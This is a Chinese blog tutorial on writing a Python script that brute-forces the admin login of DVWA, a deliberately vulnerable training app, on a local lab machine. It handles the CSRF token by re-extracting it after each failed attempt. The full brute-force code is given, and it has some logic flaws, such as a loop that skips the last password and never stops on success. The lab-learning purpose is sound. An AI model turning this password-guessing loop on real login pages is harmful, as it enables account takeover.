美文网首页信息安全
python编写渗透测试工具之一——dvwa登录爆破

python编写渗透测试工具之一——dvwa登录爆破

作者: 嘲风2018 | 来源:发表于2019-06-16 20:57 被阅读1416次

    dvwa是一个开源的由php语言编写、使用mysql数据库的漏洞利用平台,平台涵盖web应用常见的安全漏洞,如命令执行、文件包含、SQL注入、XSS、CSRF等安全漏洞,供安全研究人员和白帽子进行web安全的学习和演练。本文主要内容是使用python编写dvwa登录的暴力破解脚本。dvwa的本地搭建这里就不赘述了,网上有很多介绍的文章大家可自行度娘,本次环境使用的是docker技术在kali linux虚拟机上进行的搭建。
    一、爆破原理
    爆破的原理很简单,就是对用户名和密码进行不断尝试,直至成功。一般在渗透过程中会配置相应的字典,以提高爆破成功的效率。好了,这里不多说,我们打开dvwa的登录界面,输入正确的用户名admin和错误的密码123(正确的密码是password),查看登录结果。


    csrf_token.png

    从登录结果明显可以看到"Login Failed"字样,既登录失败。这里值得关注的是,查看发送的数据包,提交的post数据中有user_token,且每次刷新页面的时候user_token都会有变化,这会不会是防止burpsuite类工具爆破的一种机制呢。经查,服务器在每次登录失败或刷新页面时都会返回一个hidden域,内容就是这个csrf_token。并且会在每次发送登录请求时,提交这个数据。


    hidden.png
    现在有一个猜想,如果我登录提供正确的用户名admin和正确的密码password,但不提交这个user_token,会怎么样呢?服务器会拒绝吗?结果如图3所示,服务器返回结果是"CSRF token is incorrect"。可见,我们要达到爆破的目的,必须在提交参数时包含上次服务器返回给我们的csrf_token。
    csrf_token_is_incorrect.png
    二、代码编写
    1. 引入相应的包,因为csrf_token在服务器端校验。为了保证会话的连续性,应保证Session的一致。
    import requests
    from bs4 import BeautifulSoup
    
    s = requests.Session()
    csrf_token=''
    

    2.识别页面的csrf_token,本文采用的方法是使用BeastifuSoup解析页面,提取hidden标签内csrf_token的value,

    #第一步,获取网页的csrf_token
        url='http://192.168.140.131/login.php'
        heads = {}
        heads[
            'User-Agent'] = 'Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko)  Chrome/18.0.1025.166  Safari/535.19'
        req = s.get(url)
        req.encoding = 'UTF-8'
        html = req.text
        soup_texts = BeautifulSoup(html,'lxml')
        #print(soup_texts)
        csrf_token=soup_texts.find('input', {'name': 'user_token'}).get('value')
    

    3.开始登录页面的爆破,携带页面的csrf_token、读取字典内的密码,发送登录请求。如果登录失败则页面会返回“Login Failed”,识别失败页面的csrf_token、更换密码并继续发送请求,直至所有字典遍历完毕或登录成功。这里为了演示方便我设置了一个小字典,存放在列表中password=['abc','123','abcd','password','ssccc']。大家在实战中,完全可以从txt文件中读取密码。

    #设置密码字典password
        password=['abc','123','abcd','password','ssccc']
        lenth=len(password)
        count=0
        flag=True
        while(flag and count<lenth-1):
                data = {'username': 'admin', 'password':password[count], 'Login': 'Login', 'user_token': csrf_token}
                req = s.post(url=url, headers=heads, data=data)
                req.encoding = 'UTF-8'
                html = req.text
                if 'Login failed' in html:
                    soup_texts = BeautifulSoup(html, 'lxml')
                    csrf_token = soup_texts.find('input', {'name': 'user_token'}).get('value')
                    print("用户名:admin,密码:{}登录失败".format(password[count]))
                    count+=1
                else:
                    flag = True
                    print("用户名:admin,密码:{}登录成功".format(password[count]))
                    count+=1
    

    4.爆破效果


    暴破效果.png

    三、完整代码

    import requests
    from bs4 import BeautifulSoup
    
    s = requests.Session()
    csrf_token=''
    
    def main():
    
        #第一步,获取网页的csrf_token
        url='http://192.168.140.131/login.php'
        heads = {}
        heads[
            'User-Agent'] = 'Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko)  Chrome/18.0.1025.166  Safari/535.19'
        req = s.get(url)
        req.encoding = 'UTF-8'
        html = req.text
        soup_texts = BeautifulSoup(html,'lxml')
        #print(soup_texts)
        csrf_token=soup_texts.find('input', {'name': 'user_token'}).get('value')
    
        #设置密码字典password
        password=['abc','123','abcd','password','ssccc']
        lenth=len(password)
        count=0
        flag=True
        while(flag and count<lenth-1):
                data = {'username': 'admin', 'password':password[count], 'Login': 'Login', 'user_token': csrf_token}
                req = s.post(url=url, headers=heads, data=data)
                req.encoding = 'UTF-8'
                html = req.text
                if 'Login failed' in html:
                    soup_texts = BeautifulSoup(html, 'lxml')
                    csrf_token = soup_texts.find('input', {'name': 'user_token'}).get('value')
                    print("用户名:admin,密码:{}登录失败".format(password[count]))
                    count+=1
                else:
                    flag = True
                    print("用户名:admin,密码:{}登录成功".format(password[count]))
                    count+=1
    
    main()
    

    四、小结
    由于本人也是编程小白,代码写得不尽规范和美观,请各位大神不喜轻喷,谢谢。

    相关文章

      网友评论

        本文标题:python编写渗透测试工具之一——dvwa登录爆破

        本文链接:https://www.haomeiwen.com/subject/jecnfctx.html